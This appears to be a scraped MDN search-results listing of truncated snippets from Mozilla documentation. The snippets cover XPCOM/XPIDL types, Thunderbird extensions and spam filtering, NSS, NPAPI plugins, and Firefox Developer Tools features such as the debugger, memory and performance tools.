new fileutils.file(pathtoxpitoread); //services.ww.activewindow.alert(pathtoxpitoread); try { zr.open(nsifilexpi); //if file dne it throws here var entries = zr.findentries('*'); //we use asterik because we want everything listed out while (entries.hasmore()) { var entrypointer = entries.getnext(); //just a string of "zip path" (this means path to file in z...
nsMsgFilterFileAttribValue
defined in comm-central/ mail
news/ base/ search/ public/ nsimsgfilterlist.idl const nsmsgfilterfileattribvalue attribnone = 0; const nsmsgfilterfileattribvalue attribversion = 1; const nsmsgfilterfileattribvalue attriblogging = 2; const nsmsgfilterfileattribvalue attribname = 3; const nsmsgfilterfileattribvalue attribenabled = 4; const nsmsgfilterfileattribvalue attribdescription = 5; const nsmsgfilterfileattribvalue attribtype = 6; const nsmsgfilterfileattribvalue attribscriptfile = 7; const nsmsgfilterfileattribvalue attribaction = 8; const nsmsgfilterfileattribvalue attribactionvalue = 9; const nsmsgfilterfileattribvalue attribcondition = 10; const nsmsgfilterfileattribvalue attribcustomid = 11; ...
nsMsgJunkStatus
defined in comm-central/ mail
news/ base/ public/ mail
newstypes2.idl typedef unsigned long nsmsgjunkstatus; typedef unsigned long nsmsgjunkscore; ...
nsMsgKey
defined in comm-central/ mail
news/ base/ public/ mail
newstypes2.idl typedef unsigned long nsmsgkey; ...
nsMsgLabelValue
defined in comm-central/ mail
news/ base/ public/ mail
newstypes2.idl typedef unsigned long nsmsglabelvalue; ...
nsMsgPriorityValue
defined in comm-central/ mail
news/ base/ public/ mail
newstypes2.idl typedef long nsmsgpriorityvalue; [scriptable, uuid(94c0d8d8-2045-11d3-8a8f-0060b0fc04d2)] interface nsmsgpriority { const nsmsgpriorityvalue notset = 0; const nsmsgpriorityvalue none = 1; const nsmsgpriorityvalue lowest = 2; const nsmsgpriorityvalue low = 3; const nsmsgpriorityvalue normal = 4; const nsmsgpriorityvalue high = 5; const nsmsgpriorityvalue highest = 6; // the default for a priority picker const nsmsgpriorityvalue default = 4; }; ...
nsMsgRuleActionType
defined in comm-central/ mail
news/ base/ search/ public/ nsmsgfiltercore.idl typedef long nsmsgruleactiontype; [scriptable, uuid(59af7696-1e28-4642-a400-fa327ae0b8d8)] interface nsmsgfilteraction { /* if you change these, you need to update filter.properties, look for filteractionx */ /* these longs are all actually of type nsmsgfilteractiontype */ const long custom=-1; /* see nsmsgfilteraction */ const long none=0; /* uninitialized state */ const long movetofolder=1; const long changepriority=2; const long delete=3; const long markread=4; const long killthread=5; const long watchthread=6; const long markflagged=7; const long label=8; const long reply=9; const long forward=10; const long stopexecution=11...
nsMsgSearchOp
defined in comm-central/ mail
news/ base/ search/ public/ nsmsgsearchcore.idl typedef long nsmsgsearchopvalue; [scriptable, uuid(9160b196-6fcb-4eba-aaaf-6c806c4ee420)] interface nsmsgsearchop { const nsmsgsearchopvalue contains = 0; /* for text attributes */ const nsmsgsearchopvalue doesntcontain = 1; const nsmsgsearchopvalue is = 2; /* is and isn't also apply to some non-text attrs */ const nsmsgsearchopvalue isnt = 3; const nsmsgsearchopvalue isempty = 4; const nsmsgsearchopvalue isbefore = 5; /* for date attributes */ const nsmsgsearchopvalue isafter = 6; const nsmsgsearchopvalue ishigherthan = 7; /* for priority. is also applies */ const nsmsgsearchopvalue islowerthan = 8; const nsmsgsearchopvalue beginsw...
Performance
r a file system. when data is deleted, the associated bytes are marked as free but are not removed from the file. this means that the file will not shrink, and some data may still be visible in the file. the way to work around this is to run the vacuum command to remove this space. vacuuming is very slow. the vacuum command is essentially the same as the command line sqlite3 olddb .dump | sqlite3
newdb; mv
newdb olddb. on some networked drives, vacuuming a 10mb database has been timed at over one minute. therefore, you should avoid vacuuming whenever possible. some items in databases are privacy sensitive, such as deleted history items. users have the expectation that deleting items in their history will remove the traces of that from the database. as a result, mozilla enables the sqlite_secu...
Using nsCOMPtr
if you've never used nscomptr before, you're starting in the right place. just keep reading. you'll know when to stop. ...
Using the clipboard
import('resource://gre/modules/services.jsm'); // create a constructor for the built-in supports-string class. ...
XPCOM ABI
terfaces.nsixulruntime) .xpcomabi if either the cpu architecture or the c++ compiler are unknown, the application wouldn't have an xpcom abi string and attempts to get it will result in error ns_error_not_available. it would still be a distinct abi, but we just wouldn't have a name for it. note: platforms this is not an exhaustive list of possible cpu architectures and compiler abis.
newest information can always be found by exploring the build system. note: target_xpcom_abi in the mozilla build system, the variable storing the xpcom abi is named target_xpcom_abi. (this is an internals detail and should be of no concern to an extension developer.) extension installation when the application (e.g. firefox) is built, the name of the abi it supports is embedded into it. later on,...
XPCOM category image-sniffing-services
if mozilla's built-in image code cannot identify an image, then any xpcom components implementing the nsicontentsniffer interface may register under the "image-sniffing-services" category, and will be queried to determine the mime type of the image being downloaded. note: this category was removed. ...
XPCOM tasks
9. not enough locks. see bug 5795, bug 12755, and bug 12755. p1 we would like to move to a scheme where no one writes queryinterface, and we save code-space with a table driven implementation. a first step is moving all qi implementations to the table-like macros already in place (and some slight modifications to those macros). see bug 23737 work is progressing on this. see in particular, the
new ns_interface_map_... macros in "nsisupportsutils.h". p1 we need to use ns_get_iid instead of ns_define_iid. see bug 25886. work is progressing on this. p2 classes that parallel standard library classes should have compatible apis, i.e., nsdeque bug 18505 nsstring nsavltree nshashtable our various array classes in some cases, this might initially be provided by additional interfaces. in ...
xptcall FAQ
nctional stub code exists to allow building xptcall on non-supported platforms. but any browser feature that relies on xpconnect will fail. any platform that does not do xptcall is in trouble. we need to get moving on getting xptcall working everywhere! what platforms are supported? the growing list: porting status where can i find other resources? the code is at: xpcom/reflect/xptcall a
new porting guide is at: https://developer.mozilla.org/en/xptcall_porting_guide pre-implementation proposals are here and here. original document information author(s): john bandhauer <jband@netscape.com> originally published: 02 september 1999 ...
Xptcall Porting Guide
of each parameter of the target function. the platform specific code then builds a call frame and invokes the method indicated by the index methodindex on the xpcom interface that. here are examples of this implementation for win32 and linux x86, netbsd x86, and freebsd. these implementations use the basic strategy of: figure out how much stack space is needed for the params, make the space in a
new frame, copy the params to that space, invoke the method, cleanup and return. c++ is used where appropriate, assembly language is used where necessary. inline assembly language is used here, but it is equally valid to use separate assembly language source files. porters can decide how best to do this for their platforms. the stubs functionality is more complex. the goal here is a class whose vtbl ...
pyxpidl
pyxpidl has been in use for a while, but replaced xpidl in the gecko sdk starting in gecko 9.0. using pyxpidl pyxpidl is in the sdk in the sdkdir/sdk/bin/ directory. ...
XPIDL
also have a corresponding size_is property whose argument is the parameter that has the size of the array. in native code, the type gains another pointer indirection, and javascript arrays are used in script code. script code callers can ignore the value of array parameter, but implementors must still set the values appropriately. prefer using the array<t> builtin over the [array] attribute for
new code. it is more ergonomic to use from both js and c++. in the future, [array] may be deprecated and removed. the const and shared properties are special to native code. as its name implies, the const property makes its corresponding argument const. the shared property is only meaningful for out or inout parameters and it means that the pointer value should not be freed by the caller. only the ...
XSLT 2.0
although xslt 2.0 is not natively supported in firefox, it is possible via saxon-b (java) or, more recently, saxon-ce (javascript) to perform xslt 2.0. for users saxon-ce no extensions are required, saxon-ce runs whenever a html page is loaded that links to the saxon-ce javascript library. saxon-b the xsl results extension uses the
new incarnation of liveconnect (handled by java 1.6v12+ instead of mozilla-specific code) to connect with the java-based saxon-b library, and adds support for having xslt performed automatically when visiting a page with the appropriate xslt processing instruction (and which isn't processed by firefox's own xslt 1.0 processor). for developers saxon-ce a javascript api is provided for initiating an xslt 2.0 transform from a web page. error and diag...
XTF
for example, the mozilla xforms project uses xtf to add support for the xforms namespace. documentation xtf readme the xtf readme. xtf home the xtf home (outdated). xtf: when xbl just won't cut it more recent primer to xtf by alex vincent. extending gecko with xbl and xtf a presentation given at xtech 2005 comparing xbl and xtf, as well as discussing xtf basics. view all... ...
Autoconfiguration in Thunderbird
in the thunderbird installation folder. ispdb database url is <https://autoconfig.thunderbird.net/v1.1/>, append domain name, e.g. <https://autoconfig.thunderbird.net/v1.1/freenet.de>. current process: file a bug in bugzilla, product "webtools", component "ispdb database entries", with a configuration file that matches the requirements described below. the component is actively watched for
new bugs (as of november 2015) so there is no need to request review on the file. configuration server at isp given the email address "fred@example.com", thunderbird checks <https://autoconfig.example.com/mail/config-v1.1.xml?emailaddress=fred@example.com> (preferred) and <https://example.com/.well-known/autoconfig/mail/config-v1.1.xml> and the same urls with http (see section ssl below). the resul...
Spam filtering
just the headers. spam detection happens after filters are run. white listing happens after filters, but before spam detection. the purge code is implemented as a search of the "junk" folder, looking for "old" message that have the proper junk status. when does purging happens? elaborate on the mime changes that were made for spam. currently, spam filtering is does not work for
news, but it would be possible to add support for this. (there is a bug on it.). initial state user action table changes unknown (user can't see this, looks like "not junk") mark as junk add tokens to bad unknown (user can't see this, looks like "not junk") mark as not junk add tokens to good not junk mark as junk remove tokens from good, ...
Thunderbird Binaries
re typically announced in related bug reports. releases thunderbird releases have been extensively tested and are made available for anyone to download and use it. thunderbird current release can be downloaded from https://www.mozilla.org/thunderbird/ past thunderbird releases can be downloaded from https://releases.mozilla.org/pub/thunderbird/releases/ early preview releases whilst writing
new versions of thunderbird, developers release preview versions, known as betas. these builds are made to get feedback from testers and extension developers. note: while beta builds have had some testing, they should be considered preview only and should not be used in a production environment. please read the release notes before downloading. preview releases are available from http://www.mozilla...
Building a Thunderbird extension 1: introduction
ologies used by mozilla firefox, including javascript, the gecko layout engine, the xul xml user interface language and the xpcom cross-platform component object model. similar to firefox, thunderbird functionality can be enhanced and customized via extensions. warning: this content is for older versions of thunderbird. much of it may no longer be relevant. see developer.thunderbird.net for
newer information. this tutorial will introduce you to the components of a thunderbird extension and will show you how to build your own. the tutorial has the following pages: introduction (this page) the extension filesystem (setting up your local system) install manifest (the install.rdf file that contains meta-information about the extension) chrome manifest (list of packages and overlays)...
Building a Thunderbird extension 2: extension file layout
extensions are packaged and distributed in archive files (also known as bundles), with the xpi (pronounced “zippy”) file extension. at a minimum, they contain an install.rdf, the chrome.manifest and a chrome/ folder. a content/ folder sometimes contains the actual content files. these files contain the code that makes your extension actually do something. ...
Styling the Folder Pane
for example, imap servers are "imap". specialfolder-foldertype afolder.flags & nsmsgfolderflags.<name> returns the folder type if it is a special folder (or "none" if it is a regular folder). for example, if the inbox flag is set, this will be "inbox". biffstate-biffstate afolder.biffstate == nsimsgfolder.nsmsgbiffstate_<name> indicates whether or not the folder has
new messages. issecure-{true, false} afolder.server.issecure indicates whether or not the connection to the server will be secure.
newmessages-true afolder.has
newmessages subfoldershaveunreadmessages-true afolder.getnumunread(true) > afolder.getnumunread(false) indicates whether or not subfolders have unread messages. noselect-{true, false} a...
Using JS in Mozilla code
js language features that are implemented in the mozilla js engine are ordinarily safe to use in mozilla code. however, there are a few exceptions, listed here. js language features proper tail calls are not implemented. js standard library features feature standard can be used in code
new proxy(target, handler) es2015 yes, but getprototypeof and setprototypeof handlers are not yet implemented. arraybuffer.transfer() proposed for es2016 no, nightly-only for now sharedarraybuffer, sharedint8array..., atomics proposed for es2016 no, nightly-only for now typedobject proposed for es2016 no, nightly-only for now simd proposed for es2016 no, nightly-only for now ...
Using Mozilla code in other projects
here are also modules that aren't used in firefox but are available for use by other applications; an example of this is rhino, the javascript engine written in java. you can embed gecko, the layout engine used by firefox to process web pages, as a browser within your own application. building xul applications the joy of xul an introduction to xul; a must read for
new developers. xul reference the complete reference to xul. xulrunner a mozilla runtime package that can be used to bootstrap xul and xpcom applications with ease. mozilla toolkit information about the mozilla toolkit api. signing mozilla apps for mac os x how to code-sign applications based on mozilla code for mac os x's application security model. ...
Using popup notifications
option dismisses the notification; it can be brought back by clicking on the notification icon again. implementing a timeout function for the popup notification you can use a timeout to make your notification automatically disappear after some amount of time, by calling notification.remove() as shown below. ...
Using the Mozilla symbol server
soft.dbg is missing symchk: qfaservices.dll failed - qfaservices.pdb mismatched or not found symchk: talkback.exe failed - built without debugging information. symchk: helper.exe failed - built without debugging information. symchk: failed files = 4 symchk: passed + ignored files = 179 downloading symbols on linux / mac os x if you are on linux and running gdb 7.9 or
newer, you can use this gdb python script to automatically fetch symbols. you will need to source this script before loading symbols (the part where it spends a few seconds loading each .so when you attach gdb). if you want to reload symbols, you can try: nosharedlibrary sharedlibrary lib on older gdb and mac os x there is a python script to download symbols from the mozilla symbol server for gdb, ...
Zombie compartments
follow these instructions. in particular, if you have multiple tabs open it's easy to mis-identify whether a compartment should still be alive. if you only have about:memory open, things are much simpler. proactive checking of add-ons it's not uncommon for add-ons to cause zombie compartments, see bug 700547 for examples. follow these steps to do some basic checking of an add-on. create a
new profile. install and enable the add-on. restart the browser. browse one or more pages and do something that exercises the add-on. for example, for an add-on that remembers passwords, visit a site that requires a password; for an add-on that performs an operation involving a specific page element such as an image or a chunk of text, perform that operation. the more you exercise the add-on, t...
Using COM from js-ctypes
per functions function checkhresult(hr /*primative hresult*/, funcname /*jsstr*/) { // primative because thats what is returned by declared functions that // return hresult hr = hr.tostring(); // makes it primative if (hr < 0) { console.error('hresult', hr, 'returned from function ', funcname /*, 'getstrofresult:', getstrofresult(hr)*/); throw
new error('hresult ' + hr + ' returned from function ' + funcname); } } let clsidfromarr = iidfromarr = function(jsarr_pieces) { let guid = guid(); // clsid and iid are same they are guid guid.data1 = parseint(jsarr_pieces[0], 16); guid.data2 = parseint(jsarr_pieces[1], 16); guid.data3 = parseint(jsarr_pieces[2], 16); let j = 2; for (let i=0; i<8; i++) { j++; ...
CType
on. ptr ctype returns a ctype representing the data type "pointer to this type". this is the result of calling ctypes.pointertype(the_type). read only. size number the size of the type, in bytes. this is the same value as the c sizeof. read only. note: ctypes.void_t.size is undefined. methods available on all ctype objects array() returns a
new ctype representing an array of elements of the type on which it was called. ctype array( [n] }; parameters n optional the number of elements in the declared array type. if this parameter is left out, the array's size is indeterminate. return value a ctype representing the data type "array of this type". this is the same as calling ctypes.arraytype(the_type[, n]). tosource() returns ...
PKCS #11 Netscape Trust Objects - Network Security Services
pkcs #11 is a standard that defines ways to store certificates, keys and perform crypto operations. it does not specify a way to store trust objects. trust objects are used to assign an explicit level of trust to a certificate. examples of trust assertions are certificate authority root certificates. this document outlines the way in which nss stores trust objects via pkcs#11. this is not a
new design, but documentation of the method already in use. trust objects a trust object describes a level of trust in a certificate for a given usage or purpose. conceptually a trust object contains the following: certificate reference purpose + level of trust (multiple) purpose + level of trust a trust object ultimately denotes a level of trust in a certificate. the trust is expressed for a spe...
Plug-in Side Plug-in API - Plugins
ypoints undocumented. np_getmimedescription registers the mime types supported by the plug-in (unix, mac os). npp_getvalue allows the browser to query the plug-in for information. np_getvalue allows the browser to query the plug-in for information. npp_handleevent delivers a platform-specific window event to the instance. np_initialize provides global initialization for a plug-in. npp_
new creates a
new instance of a plug-in. npp_
newstream notifies a plug-in instance of a
new data stream. npp_print requests a platform-specific print operation for an embedded or full-screen plug-in. npp_setvalue sets information about the plug-in. npp_setwindow tells the plug-in when a window is created, moved, sized, or destroyed. np_shutdown provides global deinitialization for a plug-i...
Version, UI, and Status Information - Plugins
n_getvalue(instance, npnvsupportswindowless, &supportswindowless); return ret == nperr_no_error && supportswindowless; } reloading a plug-in when the browser starts up, it loads all the plug-ins it finds in the plugins directory for the platform. if you call npn_reloadplugins, the browser reloads all plug-ins in the plugins directory without restarting. this causes the browser to install a
new plug-in and load it, or remove a plug-in, without having to restart. consider using this function as part of the plug-in's smartupdate process. void npn_reloadplugins(npbool reloadpages); the reloadpages parameter is a boolean that indicates whether to reload the page (true) or not (false). « previousnext » ...
Plugins
roadmap plugin roadmap information about the roadmap for adobe flash and other plugin support in firefox. ...
Accessibility Inspector - Firefox Developer Tools
and down items using the up and down arrow keys, and use the left and right arrow keys to expand and collapse expandable rows (e.g., different hierarchy levels of the accessibility tree). print accessibility tree to json you can print the contents of the accessibility tree to json by right-clicking on an entry in the accessibility tab and selecting print to json: when you do, you will get a
new tab with the selected accessibility tree loaded into the json viewer: once opened, you can save or copy the data as necessary. the json viewer can also show you the raw json data on a separate tab in the viewer. check for accessibility issues you can check for accessibility issues by clicking the drop-down menu next to: check for issues. the available menu items include: none — don't sh...
DOM Inspector FAQ - Firefox Developer Tools
g they are not in the dom generated by the original document. okay, what if i don't want to see those anonymous nodes? you can hide anonymous nodes in inspector by unchecking the view > show anonymous content menu item. i see a lot of empty #text nodes that i don't see in the original document. what are they, why are they there, and how can i get rid of them? those text nodes are actually the
newlines and spacing between the elements. please see bug 26179 for a lengthy discussion of why they are there. the good
news is, you can hide these whitespace nodes in inspector by unchecking the view > show whitespace nodes menu item. note that not all empty text nodes will be hidden. those nodes whose white-space css property value prevents the user-agent from collapsing sequences of whitespace w...
DOM Inspector internals - Firefox Developer Tools
at the top of each panel is a toolbar which contains a menu button allowing you to choose which viewer to display from the viewer list, a label displaying the name of the currently active viewer, and another menu button allowing you to issue viewer-specific commands. viewers are dynamically loaded; when the panel is made to switch from one viewer to another, the old viewer is destroyed, and the
new viewer is loaded in its place. in this way, the panelset and panels function like a frameset and frames. this comparison turns out to be quite apt, since each panel actually contains an anonymous browser, and individual viewers exist in separate documents loaded in the browser. this separation allows for viewers to be self-contained, with a viewer's xul defined in its own document and loaded in i...
Inspecting web app manifests - Firefox Developer Tools
ng the web manifest validator. inspecting your manifest if your manifest is deployed successfully, you should end up with a display like the following on the manifest view: from here, you can inspect all the information in the manifest in an easy-to-digest way, making sure that it is all correct. it provides a link to the manifest file at the top which when clicked on brings up the json in a
new tab. it also loads all the icon files into the view, so you can see the relative size of them all, and any other information associated with them. list of manifest members we won't provide an exhaustive list of all the members that can appear in a web manifest here; you can already find that in our web manifest documentation. ...
DOM Property Viewer - Firefox Developer Tools
it is disabled by default. enable it in the developer tools settings. the dom property viewer lets you inspect the properties of the dom as an expandable tree structure, starting from the window object of the current page or the selected iframe. enabling the dom property viewer the dom property viewer is not enabled by default. to enable it, open the developer tool settings and check the "dom" box under "default firefox developer tools". opening the dom property viewer once enabled, you can open the dom property viewer by selecting "dom" from the web developer submenu in the firefox menu panel (or tools menu if you display the menu bar or are on macos), or by pressing its ctrl + shift + w keyboard shortcut. ...
Break on DOM mutation - Firefox Developer Tools
point, go to the debugger. you can see the breakpoint listed in the right-most panel under dom mutation breakpoints. click on the icon following the node name to go back to the page inspector with the node selected. when you execute the code, the debugger will pause execution when the dom mutation occurs. in the following example, the selected node (the unordered list) is modified by adding a
new child node. the panel on the right shows that execution is "paused on dom mutation" and you, as with any other breakpoint, you can see the call stack and view any watch expressions you may have set up. inline variable preview
new in firefox 71, the source pane now gives you an instant preview of the variables on each line of code you've stepped through. see set a breakpoint > inline variable...
Access debugging in add-ons - Firefox Developer Tools
the following items are accessible in the context of chrome://browser/content/debugger.xul (or, in version 23 beta, chrome://browser/content/devtools/debugger.xul): window.addeventlistener("debugger:editorloaded") - called when the read-only script panel loaded. ...
Examine, modify, and watch variables - Firefox Developer Tools
to see the docs for the old debugger, please visit debugger (before firefox 52). examine variables when the code has stopped at a breakpoint, you can examine its state in the variables pane of the debugger: variables are grouped by scope: in function scope you'll see the built-in arguments and this variables as well as local variables defined by the function like user and greeting. ...
Pretty-print a minified file - Firefox Developer Tools
to prettify a minified file, click the pretty print source icon () at the bottom of the source pane. the debugger formats the source and displays it as a
new file with a name like: "{ } [original-name]". after you click the icon, the source code looks like this: the pretty print source icon is available only if the source file is minified (i.e., not an original file), and is not already "prettified". note: if you want to prettify some inline javascript code, just double click the code in the inspector pane. ...
Step through code - Firefox Developer Tools
t, event breakpoint, etc.), and also provides a step button and a play button. the thinking here is that if you've got your devtools open in a separate window, as many people do, it can be easier to have the buttons available right there to move the code forward while you are looking at the result. if you want to turn this feature off, since firefox 71 you can do so by going to about:config in a
new tab, setting the devtools.debugger.features.overlay pref to false, and restarting the browser. inline variable preview
new in firefox 71, the source pane now gives you an instant preview of the variables on each line of code you've stepped through. see set a breakpoint > inline variable preview for more information. ...
Set an XHR breakpoint - Firefox Developer Tools
request, the righthand pane will have two additional sections: call stack the list of functions that were executed in order ot get to the currently executing code. click on an item in the call stack to jump to the associated line in the code display. scopes a list of the values that are in scope in the function, method, or event handler where the break occurred. inline variable preview
new in firefox 71, the source pane now gives you an instant preview of the variables on each line of code you've stepped through. see set a breakpoint > inline variable preview for more information. ...
UI Tour - Firefox Developer Tools
inside: call stack when the debugger's paused, you'll see a call stack: each level of the call stack gets a line, with the name of the function and the filename and line number. clicking a line selects the corresponding line in the source pane. note: if you click step over (f10) after changing the selected line in the source pane, the debugger executes until reaching the line following the
newly-selected line (disregarding whatever line the debugger originally stopped at). right-clicking in the call stack pane opens a context menu with the following items: restart frame restarts execution at the beginning of the current frame. enable framework grouping collects items belonging to a framework into a collapsible group (for example, jquery in the screenshot above). when grouping is ...
Debugger-API - Firefox Developer Tools
stack frame, captured by a function closure, or reflect some global object’s properties as variables. the debugger instance itself is not really a shadow of anything in the debuggee; rather, it maintains the set of global objects which are to be considered debuggees. a debugger observes only execution taking place in the scope of these global objects. you can set functions to be called when
new stack frames are pushed; when
new code is loaded; and so on. omitted from this picture are debugger.source instances, which represent javascript compilation units. a debugger.source can furnish a full copy of its source code, and explain how the code entered the system, whether via a call to eval, a <script> element, or otherwise. a debugger.script points to the debugger.source from which it is ...
Eyedropper - Firefox Developer Tools
the eyedropper tool enables you to select colors in the current page. it works like a magnifying glass over the page, enabling you to select with pixel precision. ...
JSON viewer - Firefox Developer Tools
before firefox 53, the json viewer is enabled by default only in firefox developer edition and firefox nightly. to enable this feature in other release channels, set the devtools.jsonview.enabled preference to true. from firefox 53 onwards, the json viewer is also enabled by default in beta and the normal release version of firefox. firefox includes a json viewer. if you open a json file in the browser, or view a remote url with the content-type set to application/json, it is parsed and given syntax highlighting. arrays and objects are shown collapsed, and you can expand them using the "+" icons. the json viewer provides a search box that you can use to filter the json. ...
Basic operations - Firefox Developer Tools
open the developer tool settings, and check the "memory" box under "default firefox developer tools": from firefox 50 onwards, the memory tool is enabled by default. taking a heap snapshot to take a snapshot of the heap, click the "take snapshot" button, or the camera icon on the left: the snapshot will occupy the large pane on the right-hand side. on the left, you'll see an entry for the
new snapshot, including its timestamp, size, and controls to save or clear this snapshot: clearing a snapshot to remove a snapshot, click the "x" icon: saving and loading snapshots if you close the memory tool, all unsaved snapshots will be discarded. to save a snapshot click "save": you'll be prompted for a name and location, and the file will be saved with an .fxsnapshot extension. to l...
Monster example - Firefox Developer Tools
0; j < namelength; j++) { name += chars[randomint(0, chars.length-1)]; } return name; } this.name = randomname(); this.eyecount = randomint(0, 25); this.tentaclecount = randomint(0, 250); } function makemonsters() { var monsters = { "friendly": [], "fierce": [], "undecided": [] }; for (var i = 0; i < monster_count; i++) { monsters.friendly.push(
new monster()); } for (var i = 0; i < monster_count; i++) { monsters.fierce.push(
new monster()); } for (var i = 0; i < monster_count; i++) { monsters.undecided.push(
new monster()); } console.log(monsters); } var makemonstersbutton = document.getelementbyid("make-monsters"); makemonstersbutton.addeventlistener("click", makemonsters); the page contains a button: when you ...
Tree map view - Firefox Developer Tools
the tree map view provides a visual representation of the snapshot, that helps you quickly get an idea of which objects are using the most memory. a treemap displays "hierarchical (tree-structured) data as a set of nested rectangles". the size of the rectangles corresponds to some quantitative aspect of the data. for the treemaps shown in the memory tool, things on the heap are divided at the top level into four categories: objects: javascript and dom objects, such as function, object, or array, and dom types like window and htmldivelement. scripts: javascript sources loaded by the page. strings other: this includes internal spidermonkey objects. ...
Memory - Firefox Developer Tools
urrent tab's memory heap. it then provides a number of views of the heap that can show you which objects account for memory usage and exactly where in your code you are allocating memory. the basics opening the memory tool taking a heap snapshot comparing two snapshots deleting snapshots saving and loading snapshots recording call stacks analyzing snapshots the tree map view is
new in firefox 48, and the dominators view is
new in firefox 46. once you've taken a snapshot, there are three main views the memory tool provides: the tree map view shows memory usage as a treemap. the aggregate view shows memory usage as a table of allocated types. the dominators view shows the "retained size" of objects: that is, the size of objects plus the size of other objects that they ...
Network monitor toolbar - Firefox Developer Tools
uttons to filter the network request list by type: by the content type of the response xhr requests websocket upgrades and messages (labeled ws) other requests a checkbox that allows you to disable caching. throttling menu, to simulate various connection types a menu of other actions: persist logs: by default, the network monitor is cleared each time you navigate to a
new page or reload the current page. when you select persist logs, the log is not cleared on page load. import har imports a har (http archive) file. save all as har opens a file dialog box so you can save the current contents of the network log as a har file with the extension .har. copy all as har copies the current contents of the network log to the clipboard in har format. a secon...
Page inspector 3-pane mode - Firefox Developer Tools
when activated, this allows you to see the following simultaneously: the html pane on the left hand side, as usual. the css rules in the middle in their own separate pane, rather than as a tab. the other css related features — such as computed styles view, animations view, and fonts view — in tabs on the right hand side, as usual. note: at narrower browser window widths, the tabs appear below the css rules pane. ...
Inspect and select colors - Firefox Developer Tools
ll see a color picker popup, enabling you to change the color: if the color is a foreground color, the color picker tells you whether its contrast with the background color meets accessibility guidelines. hovering the mouse over the contrast message gives a more detailed explanation. the color picker includes an eyedropper icon: clicking this icon enables you to use the eyedropper to select a
new color for the element from the page: clicking the color sample while holding down the shift key changes the color format: ...
Reposition elements in the page - Firefox Developer Tools
if an element has its position property set to absolute, relative or fixed and one or more of the top, bottom , left or right properties, the box model view displays a button: if you click that button, two handles appear next to the element: you can use these handles to drag the element around the page. if the element is absolutely positioned, dashed lines are shown representing the offset parent. for relatively positioned elements the dashed lines indicate the original position of the node. the offsets are indicated by a line and a tooltip for each side. ...
UI Tour - Firefox Developer Tools
ion, click the name of the element that uses the property to select that element in the inspector. if more than one element has a given property applied to it, click the triangle to show all the occurences. to configure the set of browsers you want the compatibility view to check for, click settings at the bottom of the panel. untick the checkbox for any browser you are not interested in. as
new browser versions are released, the version numbers in this list will be updated. fonts view the fonts view shows all the fonts in the page along with editable samples. see view fonts for more details. animations view the animations view gives you details of any animations applied to the selected element, and a controller to pause them: see work with animations for more details. ...
Paint Flashing Tool - Firefox Developer Tools
toolbox, then click the icon labeled "highlight painted area": then try using the page. after moving the mouse around and scrolling a bit, the above page looks like this: in this example, there are two main sources of repaints: moving the mouse over links makes the browser repaint them, because they have a style applied using the :hover pseudo-class scrolling makes the browser repaint the
new part of the page coming into view at the bottom of the screen, and also the scrollbar at the top-right to deactivate paint flashing, click the "highlight painted area" icon in the toolbox again. example: css transitions one area where implementation choices can affect repaint efficiency is in css transitions. the example below shows two different ways to move an element using a css transition...
Allocations - Firefox Developer Tools
the allocations view in the performance tool shows you which functions in your page are allocating the most memory over the course of the profile. for performance this is important mostly because allocating a lot of memory, or making a lot of allocations, can trigger garbage collection. this in turn can hurt the responsiveness of a page. the allocations view is
new in firefox 46. to enable the allocations view, you must check "record allocations" in the performance tool settings, before recording a profile. then record a profile as usual, and you will see a
new tab labeled "allocations" in the toolbar: anatomy of the allocations view the allocations view looks something like this: the allocations view periodically samples allocations that are made over the recording. eac...
Call Tree - Firefox Developer Tools
ion of the recording. in the current version of the call tree, these are the most important columns. functions with a relatively high self cost are good candidates for optimization, either because they take a long time to run, or because they are called very often. the inverted call tree is a good way to focus on these self cost values. this screenshot tells us something we probably already k
new: bubble sort is a very inefficient algorithm. we have about six times as many samples in bubble sort as in selection sort, and 13 times as many as in quicksort. walking up the call tree next to each function name is a disclosure arrow: click that, and you can see the path back up the call tree, from the function in which the sample was taken, to the root. for example, we can expand the entry fo...
How to - Firefox Developer Tools
open the performance tools to open the performance tools: press shift + f5 select "performance" from the web developer submenu in the firefox menu (or tools menu if you display the menu bar or are on os x) select "performance" from tools button, in the toolbar, if you have one: record a profile to start a
new recording, press the stopwatch icon in the recordings pane. to stop, press it again: you can also start and stop recording from the web console, using console.profile() and console.profileend(). save a profile to save a profile, click the link labeled "save" in the recordings pane: load a profile to load a profile, click "import..." and choose the file: clear all loaded profiles to clear all loaded profiles, click "clear". if you do this, you'll lose any l...
Animating CSS properties - Firefox Developer Tools
dget, it's not surprising we are missing a consistently high frame rate. you can experiment with this: try removing the box shadow using the page inspector, and see how that affects paint time. but next, we'll see how using transform instead of margin eliminates those expensive paints entirely. animating using transform now switch the radio button in the web page to "use transform", and make a
new recording. it will look something like this: waterfall overview compared with the version that uses margin, we're seeing a lot less green and a lot more pink, which could be either layout or style recalculation. frame rate compared with the version that uses margin, this is looking pretty good. we're averaging nearly 60fps, and apart from one dip near the start, we're getting a consiste...
UI Tour - Firefox Developer Tools
e about the call tree, see the separate call tree page. flame chart if the call tree tells you, statistically, which functions your site is spending most time executing across the whole recording, the flame chart tells you the call stack at any given point during the recording: to learn much more about the flame chart, see the separate flame chart page. allocations the allocations view is
new in firefox 46. the allocations view is like the call tree view, but for allocations: it shows you which functions in your page are allocating the most memory over the course of the profile. the allocations view only appears if you checked "record allocations" in the performance tool settings, before recording a profile: to learn much more about the allocations view, see the separate alloc...
Cookies - Firefox Developer Tools
in cookie? that is, the domain value matches exactly the domain of the current website. note: some of the columns are not shown by default — to change the column display, right-click on the existing table headings and use the resulting context menu to show/hide the columns. you can edit cookies by double-clicking inside cells in the table widget and editing the values they contain, and add
new cookies by clicking the "plus" (+) button and then editing the resulting
new row to the value you want. context menu the context menu for each cookie includes the following commands: add item - add a
new cookie. delete <cookie name>.<domain> - deletes the selected cookie delete all from <domain> - deletes all cookies from the selected domain. this must be an exact match. for example, if yo...
Local Storage / Session Storage - Firefox Developer Tools
ion storage will be listed in a table. you can edit local and session storage items by double-clicking inside cells in the table widget and editing the values they contain: you can delete local storage and session storage entries using the context menu: you can also delete local and session storage entries by selecting an item and pressing the delete or backspace key. finally, you can add
new storage items by clicking the "plus" (+) button and then editing the resulting
new row to the value you want. ...
Taking screenshots - Firefox Developer Tools
the window will be included in the screenshot. when used, "-fullpage" will be appended to the file name. --selector string a css selector that selects a single element on the page. when supplied, only this element and its descendants will be included in the screenshot. note: if you capture an image to a filename like test.png, and then you capture to that same filename, the
new image will overwrite the old image. so if you’re using the up-arrow history scroll to capture images in quick succession, be careful — you need to remember to change the filename for each
